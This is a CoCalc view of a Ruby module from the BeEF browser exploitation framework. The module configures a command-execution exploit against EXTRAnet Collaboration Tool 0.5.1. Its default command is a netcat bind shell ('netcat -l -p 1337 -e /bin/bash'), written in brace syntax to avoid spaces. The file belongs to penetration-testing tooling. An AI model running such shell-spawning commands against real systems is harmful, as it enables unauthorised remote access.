Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/extract_cmd_exec/module.rb
1154 views
1
#
2
# Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
# Browser Exploitation Framework (BeEF) - https://beefproject.com
4
# See the file 'doc/COPYING' for copying permission
5
###
6
# Reference: http://itsecuritysolutions.org/2011-12-16-Privilege-escalation-and-remote-inter-protocol-exploitation-with-EXTRACT-0.5.1/
7
###
8
# EXTRAnet Collaboration Tool (extra-ct)
9
# Version: 0.5.1
10
# Homepage: http://www.extra-ct.net/
11
# Source: http://code.google.com/p/extra-ct/
12
# Source: http://sourceforge.net/projects/extract/
13
###
14
class Extract_cmd_exec < BeEF::Core::Command
15
def self.options
16
[
17
{ 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '127.0.0.1' },
18
{ 'name' => 'rport', 'ui_label' => 'Remote Port', 'value' => '10100' },
19
{ 'name' => 'timeout', 'ui_label' => 'Timeout (s)', 'value' => '15' },
20
{ 'name' => 'cmd', 'ui_label' => 'Commands', 'description' => 'Enter shell commands to execute. Note: Spaces in the command are not supported.', 'type' => 'textarea',
21
'value' => '{netcat,-l,-p,1337,-e,/bin/bash}', 'width' => '200px' }
22
]
23
end
24
25
def post_execute
26
save({ 'result' => @datastore['result'] }) unless @datastore['result'].nil?
27
save({ 'fail' => @datastore['fail'] }) unless @datastore['fail'].nil?
28
end
29
end
30
31